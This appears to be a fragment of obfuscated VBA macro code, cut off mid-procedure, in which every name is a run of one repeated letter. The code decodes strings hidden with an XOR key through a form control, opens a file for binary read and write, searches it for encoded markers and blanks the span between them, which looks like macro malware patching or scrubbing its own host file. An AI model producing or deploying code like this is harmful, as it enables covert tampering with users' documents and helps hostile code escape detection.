Const dddddddddddddddddddddddddd = &H800, eeeeeeeeee = &HA0
Const eeeeeeeeeee = "_C1", eeeeeeeeeeee = "_C2", eeeeeeeeeeeee = "_C3", eeeeeeeeeeeeee = "_C4"
Private Function dddddddddddd$(ddddddddddddd$)
Dim ddddddddddddddddddddddddd%
ddddddddddddd = F1.Evaluate(ddddddddddddd)
For ddddddddddddddddddddddddd = 1 To Len(ddddddddddddd) Step 2
dddddddddddd = dddddddddddd & Chr$(Val("&H" & Mid$(ddddddddddddd, ddddddddddddddddddddddddd, 2) Xor &HA))
Next ddddddddddddddddddddddddd
End Function
Private Function eeeeeeeeeeeeeee&()
eeeeeeeeeeeeeee = Int(Application.MemoryFree * 0.8)
End Function
Private Function eeeeeeeeeeeeeeee%(eeeeeeeeeeeeeeeee$)
Dim eeeeeeeeeeeeeeeeee&, eeeeeeeeeeeeeeeeeee&, eeeeeeeeeeeeeeeeeeee&
eeeeeeeeeeeeeeeeeee = InStrRev(eeeeeeeeeeeeeeeee, dddddddddddd(eeeeeeeeeee)) + 2
eeeeeeeeeeeeeeeeee = InStr(eeeeeeeeeeeeeeeeeee - eeeeeeeeee, eeeeeeeeeeeeeeeee, dddddddddddd(eeeeeeeeeeeee)) + 2
eeeeeeeeeeeeeeee = eeeeeeeeeeeeeeeeee > 2
If eeeeeeeeeeeeeeee Then
eeeeeeeeeeeeeeeeeeee = InStr(eeeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeee, dddddddddddd(eeeeeeeeeeeeee))
eeeeeeeeeeeeeeee = eeeeeeeeeeeeeeeeeeee > eeeeeeeeeeeeeeeeee And eeeeeeeeeeeeeeeeeeee < eeeeeeeeeeeeeeeeeee
End If
If eeeeeeeeeeeeeeee Then
eeeeeeeeeeeeeeeeeeee = InStr(eeeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeee, dddddddddddd(eeeeeeeeeeee))
eeeeeeeeeeeeeeee = eeeeeeeeeeeeeeeeeeee > eeeeeeeeeeeeeeeeee And eeeeeeeeeeeeeeeeeeee < eeeeeeeeeeeeeeeeeee
End If
If eeeeeeeeeeeeeeee Then eeeeeeeeeeeeeeeee = Left$(eeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeeee - 1) & String(eeeeeeeeeeeeeeeeeee - eeeeeeeeeeeeeeeeee, " ") & Mid$(eeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeeeee)
End Function
Private Function eeeeeeeeeeeeeeeeeeeee%(eeeeeeeeeeeeeeeeeeeeee%, ByVal eeeeeeeeeeeeeeeeeeeeeee&, ByVal eeeeeeeeeeeeeeeeeeeeeeee&)
Dim eeeeeeeeeeeeeeeeeeeeeeeee&, eeeeeeeeeeeeeeeeeeeeeeeeee$
eeeeeeeeeeeeeeeeeeeeeeeeee = String(eeeeeeeeeeeeeeeeeeeeeeee, " ")
Get #eeeeeeeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeeeeeeeee + 1, eeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeee = InStrRev(eeeeeeeeeeeeeeeeeeeeeeeeee, dddddddddddd(eeeeeeeeeee), , vbTextCompare)
If eeeeeeeeeeeeeeeeeeeeeeeee > 0 Then
eeeeeeeeeeeeeeeeeeeee = eeeeeeeeeeeeeeee(eeeeeeeeeeeeeeeeeeeeeeeeee)
If eeeeeeeeeeeeeeeeeeeee Then Put #eeeeeeeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeeeeeeeee + 1, eeeeeeeeeeeeeeeeeeeeeeeeee
End If
End Function
Private Function ffffffffff%(fffffffffff%)
Dim ffffffffffff&, fffffffffffff&, ffffffffffffff%
ffffffffffff = LOF(fffffffffff)
fffffffffffff = eeeeeeeeeeeeeee
Do
fffffffffffff = IIf(fffffffffffff < ffffffffffff, fffffffffffff, ffffffffffff)
ffffffffffff = IIf(ffffffffffff - fffffffffffff < 0, 0, ffffffffffff - fffffffffffff)
ffffffffffffff = eeeeeeeeeeeeeeeeeeeee(fffffffffff, ffffffffffff, fffffffffffff)
If Not ffffffffffffff Then ffffffffffff = ffffffffffff + &H64
Loop Until (ffffffffffff = &H64) Or ffffffffffffff
ffffffffff = ffffffffffffff
End Function
Sub fffffffffffffff()
Dim ffffffffffffffff%, fffffffffffffffff%, ffffffffffffffffff%
If ggggggggggggggggggggggggg <> "" Then
If Not hhhhhhhhhhh Then hhhhhhhhhhhhhhhhhhhhhhh hhhhhhhhhh
ffffffffffffffffff = FreeFile
Open ggggggggggggggggggggggggg For Binary Access Read Write As #ffffffffffffffffff
ffffffffffffffff = ffffffffff(ffffffffffffffffff)
Close #ffffffffffffffffff
If Not ffffffffffffffff And Not hhhhhhhhhhh Then
iiiiiiiiii ggggggggggggggggggggggggg, gggggggggggggggggggggg